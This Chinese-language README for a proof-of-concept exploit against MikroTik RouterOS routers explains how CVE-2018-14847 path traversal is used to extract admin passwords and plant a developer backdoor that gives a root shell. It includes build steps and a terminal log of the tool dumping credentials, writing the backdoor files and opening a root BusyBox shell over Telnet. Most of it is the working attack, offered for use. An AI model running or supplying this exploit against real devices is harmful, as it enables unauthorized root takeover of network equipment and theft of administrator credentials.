By the Way 是一个漏洞利用工具,可以在运行 RouterOS 版本的 Mikrotik 设备上获取 root shell:
该漏洞利用利用了路径遍历漏洞 CVE-2018-14847,提取管理员密码并创建一个“option”包以启用开发者后门。利用之后,攻击者可以使用 root 用户“devel”和管理员密码连接到 Telnet 或 SSH。
Mikrotik 在四月份修复了 CVE-2018-14847。然而,在编写此 PoC 之前,我认为尚未公开披露该攻击可用于写入文件。您可以在此处找到 Mikrotik 的安全公告:
请注意,虽然此漏洞利用是针对 Winbox 编写的,但如果您事先知道管理员凭据,也可以移植到 HTTP。
此 PoC 依赖于:
mkdir build
cd build
cmake ..
make
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password:
Login failed, incorrect username or password
Connection closed by foreign host.
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ ./btw -i 192.168.1.251
╔╗ ┬ ┬ ┌┬┐┬ ┬┌─┐ ╦ ╦┌─┐┬ ┬
╠╩╗└┬┘ │ ├─┤├┤ ║║║├─┤└┬┘
╚═╝ ┴ ┴ ┴ ┴└─┘ ╚╩╝┴ ┴ ┴
[+] Extracting passwords from 192.168.1.251:8291
[+] Searching for administrator credentials
[+] Using credentials - admin:lol
[+] Creating /pckg/option on 192.168.1.251:8291
[+] Creating /flash/nova/etc/devel-login on 192.168.1.251:8291
[+] There's a light on
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password:
BusyBox v1.00 (2017.03.02-08:29+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
# uname -a
Linux MikroTik 3.3.5 #1 Thu Mar 2 08:16:25 UTC 2017 mips unknown
# cat /rw/logs/VERSION
v6.38.4 Mar/08/2017 09:26:17
# Connection closed by foreign host.